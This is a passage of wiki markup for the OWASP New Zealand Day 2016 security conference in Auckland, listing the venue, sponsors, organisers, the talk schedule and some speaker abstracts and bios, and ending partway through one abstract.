* Training Registration deadline:   21st January 2016&lt;br /&gt;
* Training Day date:          3rd February 2016&lt;br /&gt;
* Conference Day date:           4th February 2016&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
For those of you booking flights, ensure you can be at the venue at 8:30am, the conference will end by 5:30pm however we will have post conference drinks at a local drinking establishment for those interested.&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Conference Venue==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
   &amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The University of Auckland School of Commerce&amp;lt;br&amp;gt;&lt;br /&gt;
Address: 12 Grafton Road&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Main conference room: Level 1&amp;lt;br&amp;gt;&lt;br /&gt;
Room: 115 (Fisher &amp;amp; Paykel Auditorium)&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Afternoon parallel stream: Level 0&amp;lt;br&amp;gt;&lt;br /&gt;
Room: B5&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Auckland&amp;lt;br&amp;gt;&lt;br /&gt;
New Zealand&amp;lt;br&amp;gt;&lt;br /&gt;
[https://www.google.com/maps/place/Owen+G+Glenn+Building+12+Grafton+Road/@-36.8528203,174.770224,17z/data=!4m6!1m3!3m2!1s0x0000000000000000:0x0205ad91287ba364!2sUniversity+of+Auckland+Graduate+School+of+Enterprise!3m1!1s0x0000000000000000:0xc9d224e5921a6690 Map]&lt;br /&gt;
   &amp;lt;/td&amp;gt;&lt;br /&gt;
   &amp;lt;td&amp;gt;&lt;br /&gt;
[[Image:073_AUBiz_10Apr08small.jpg]] [[Image:MG_0037small.JPG]]&lt;br /&gt;
   &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Conference Sponsors==&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;1&amp;quot; cellpadding=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td valign=&amp;quot;bottom&amp;quot; width=&amp;quot;50%&amp;quot;&amp;gt;&amp;lt;center&amp;gt;[http://www.auckland.ac.nz/ https://www.owasp.org/images/8/82/University_of_Auckland_crest_small.png]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td valign=&amp;quot;bottom&amp;quot; width=&amp;quot;50%&amp;quot;&amp;gt;&amp;lt;center&amp;gt;[http://security.org.nz/nzsif/ https://www.owasp.org/images/5/5a/Nz_information_security_forum.png]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;&amp;gt;&amp;lt;center&amp;gt;ICT and Department of Information Systems and Operations Management&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
'''Gold Sponsors:'''&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[[File:INSOMNIA.PNG|center|300px|link=http://www.insomniasec.com/]]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[[File:RedShield.png|center|300px|link=https://auraredshield.com/]]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.security-assessment.com https://www.owasp.org/images/4/41/SA_Logo_w_DD.gif]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.insomniasec.com Insomnia Security]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[https://auraredshield.com/ Aura RedShield]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[http://www.security-assessment.com www.security-assessment.com]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
'''Silver Sponsors:'''&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[[File:Quantum.png|center|250px|link=http://www.quantumsecurity.co.nz/]]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[[File:ZX_Security_Cutout_Cropped.png|center|88px|link=http://www.zxsecurity.co.nz/]]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[[File:Wynyard_CMYK_land.png|center|250px|link=https://www.wynyardgroup.com/]]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
'''Support Sponsor:'''&lt;br /&gt;
&amp;lt;table width=&amp;quot;100%&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;0&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;tr&amp;gt;&lt;br /&gt;
    &amp;lt;td&amp;gt;&amp;lt;center&amp;gt;[[File:BinaryMistLimited.png|center|150px|link=http://binarymist.io]]&amp;lt;/center&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Conference Committee==&lt;br /&gt;
&lt;br /&gt;
* Denis Andzakovic - OWASP New Zealand Leader (Auckland)&lt;br /&gt;
* Adrian Hayes -  OWASP New Zealand Leader (Wellington)&lt;br /&gt;
* Kirk Jackson - OWASP New Zealand Leader (Wellington)&lt;br /&gt;
* Kim Carter -  OWASP New Zealand Leader (Christchurch)&lt;br /&gt;
* Lech Janczewski - Associate Professor - University of Auckland School of Business&lt;br /&gt;
&lt;br /&gt;
Please direct all enquiries to denis.andzakovic@owasp.org | adrian.hayes@owasp.org | kim.carter@owasp.org | kirk.jackson@owasp.org&lt;br /&gt;
&lt;br /&gt;
For information on other OWASP NZ events, please visit the [https://www.owasp.org/index.php/New_Zealand NZ chapter site]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Presentation Schedule=&lt;br /&gt;
==Presentations==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
4th Feburary 2016&lt;br /&gt;
&amp;lt;table width=&amp;quot;80%&amp;quot;&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;08:30&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #8595C2; text-align: center&amp;quot;&amp;gt;Registration Opens&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;09:00&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #B9C2DC; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;[https://speakerdeck.com/binarymist/owasp-nz-day-2016 Welcome to OWASP New Zealand Day 2016]&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Lech Janczewski (Associate Professor), Adrian Hayes, Denis Andzakovic and [https://binarymist.io Kim Carter] (OWASP Leaders)&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;   &lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;09:15&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #EEE; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;[https://web.fredden.org/assets/OWASP%20Feb%202016.pdf Credit card fraud: you don't want to be the common point of purchase]&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Dan Wallis - Christchurch ISIG&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;09:45&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #B9C2DC; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Chronicles of SOP bypass&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Emmanuel Law - Aura Information Security&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;10:15&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #EEE; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;[https://www.owasp.org/images/9/9e/Keep_Calm_And_CSP.pdf Keep calm and CSP]&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Valentinas Bakaitis - Aura Information Security&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;   &lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;10:30&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #D98B66; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Break for Morning Tea&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;   &lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;11:00&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #EEE; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Continuous Security&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Laura Bell - SafeStack&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;11:30&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #B9C2DC; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Making AppSec a (Respectable) Religion&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Chris Campbell - Jade Software&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
		&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;12:00&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #EEE; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;[https://www.lateralsecurity.com/downloads/Lateral_Security-OAuth2_The_Promise_and_Pitfalls_NZOWASP2016.pdf Oauth 2.0: The Promise and Pitfalls]&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Sergey Ozernikov - Lateral Security&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;   &lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;12:30&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #D98B66; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Break for Lunch&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;   &lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;13:30&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td style=&amp;quot;background-color: #B9C2DC; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Attacking Real-World Crypto Flaws&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Chris Smith - Insomnia Security&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td style=&amp;quot;background-color: #B9C2DC; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;[https://www.owasp.org/images/3/30/Presentation_-_Two-Thirds_of_the_Sacred_Triangle_%28OWASP%29_%2802_2016%29.pptx Two-thirds of the Sacred Triangle]&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Andrew Kelly - Insomnia Security&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;14:00&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td style=&amp;quot;background-color: #EEE; ; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Practical Attacks on WebRTC Applications&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Felix Shi - Xero&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td style=&amp;quot;background-color: #EEE; ; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;[https://www.lateralsecurity.com/downloads/Lateral_Security-Source_Code_Reviews-NZOWASP2016.pdf Source Code Reviews: Why You Should]&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;David Waters - Lateral Security&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;14:30&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td style=&amp;quot;background-color: #B9C2DC; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Practical exploitation of less commonly identified vulnerabilities&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Daniel Jensen - Security Assessment&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;   &lt;br /&gt;
		&amp;lt;td style=&amp;quot;background-color: #B9C2DC; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;[https://www.owasp.org/images/8/83/Host_review_owasp_2016.pdf Host Hardening - Achieve or Avoid?]&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;			&lt;br /&gt;
			&amp;lt;i&amp;gt;Nilesh Kapoor&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;15:00&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td style=&amp;quot;background-color: #EEE; ; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Deserialization, what could go wrong&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Brendan Jamieson - Insomnia Security&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td style=&amp;quot;background-color: #EEE; ; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;I judge all of your services and applications&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Shahn Harris - Beca Ltd&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;   &lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;15:30&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #D98B66; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Break for Afternoon Tea&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;16:00&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #EEE; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;[https://www.owasp.org/images/b/bc/OWASP_-_McMullan.pdf Risk based software assurance requirements for aircraft systems]&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Russell McMullan - Beca Ltd&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;16:30&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #B9C2DC; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;After 30 Years, I’m Coming Out&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Kevin Alcock - Katipo Information Security Ltd&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;17:00&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #EEE; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;[https://www.owasp.org/images/3/39/INFOSEC_is_a_marketing_responsibility-Carlos_Cordero-Convergnce-OWASP_Day_2016.pdf Information Security is a Marketing Responsibility]&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Carlos Cordero - Convergnce&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
	&amp;lt;tr&amp;gt;&lt;br /&gt;
		&amp;lt;td width=&amp;quot;7%&amp;quot; valign=&amp;quot;top&amp;quot;&amp;gt;17:15&amp;lt;/td&amp;gt;&lt;br /&gt;
		&amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;background-color: #B9C2DC; text-align: center&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;b&amp;gt;Wrap Up&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
			&amp;lt;i&amp;gt;Time for the pub, for those interested&amp;lt;/i&amp;gt;&lt;br /&gt;
		&amp;lt;/td&amp;gt;&lt;br /&gt;
	&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Speakers List=&lt;br /&gt;
==Speakers List==&lt;br /&gt;
&lt;br /&gt;
===Dan Wallis - Christchurch ISIG - Credit card fraud; you don't want to be the common point of purchase===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A real-world example of how three problems lined up to leak credit card data online. Each problem wasn't by itself enough to leak anything valuable, but by their powers combined, the bank called.&lt;br /&gt;
I'll talk through the details of each flaw, why they were introduced, how they lined up, and lessons learnt.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
I'm a sysadmin with lots of web experience; I've been in the industry for more than 10 years. I currently work for an agency in Christchurch, focusing on ecommerce websites.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Emmanuel Law - Aura Information Security - Chronicles of SOP bypass===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Same Origin Policy (SOP) is one of the fundamental protection when surfing the internet. It's in all browsers, various plugins and mobile applications. This talk will walk the audience through a history of some of SOP most interesting bugs; ranging from some of the earliest manifestations to the more recent SOP bypasses. Although many of these SOP bugs are beyond the control of the developers but we'll cover some mitigating measures that one could possibly take.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Principal security consultant @ Aura Information Security (NZ) by day, he spends his nights exploiting stuff for fun and profit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Valentinas Bakaitis - Aura Information Security - Keep calm and CSP===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
CSP stands for Content Security Policy and is a reasonably new mechanism to protect against client side vulnerabilities like XSS and XSRF. Applied correctly it can completely eliminate nearly all XSS issues, regardless whether they are known or unknown. While the mechanism is extremely, effective and in most cases easy to implement, the adoption remains low. This talk will introduce CSP to those who are not familiar with it and remind about the power of it to those that heard about it before.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Developer turned Security Consultant. Valentinas has 10 years of experience in IT industry, with last two years working as a security consultant. His interests include IT security, physical security and hardware hacking.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Russell McMullan - Beca Ltd - Risk based software assurance requirements for aircraft systems===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This talk focuses on the contribution of the design methods used in aircraft system development and their contribution to security. This includes an overview of aircraft system design requirements and design rules, how the system and software ‘Design Assurance Level’ is determined, and an overview of the Software ‘Assurance Level’ requirements used in software development. I’ll provide my personal thoughts on the Design Assurance Level contribution to security including the inherent aircraft system design principles and processes that contribute to security, and some thoughts on augmenting these practices with the Common Criteria requirements.&lt;br /&gt;
 &lt;br /&gt;
If you’ve ever wondered about aircraft systems software development, this talk may be of interest.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Speaker Bio&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With 20+ years associated with military aircraft systems, Russell has a unique view of system and software risk methods for aircraft systems.  Russell currently works at Beca in the Advisory team.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Chris Campbell - Jade Software - Making AppSec a (Respectable) Religion===&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;b&amp;gt;Abstract&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No stranger to rapid transformation, Jade Software – a leading technology company with an almost 40 year pedigree, today works with an ever increasing range of technologies to solve complex problems for its’ customers. .NET, HTML5, SQL, Oracle, Java, Azure and AWS cloud services, and of course the JADE platform, all form part of the Jade technology stable.  &lt;br /&gt;
 &lt;br /&gt;
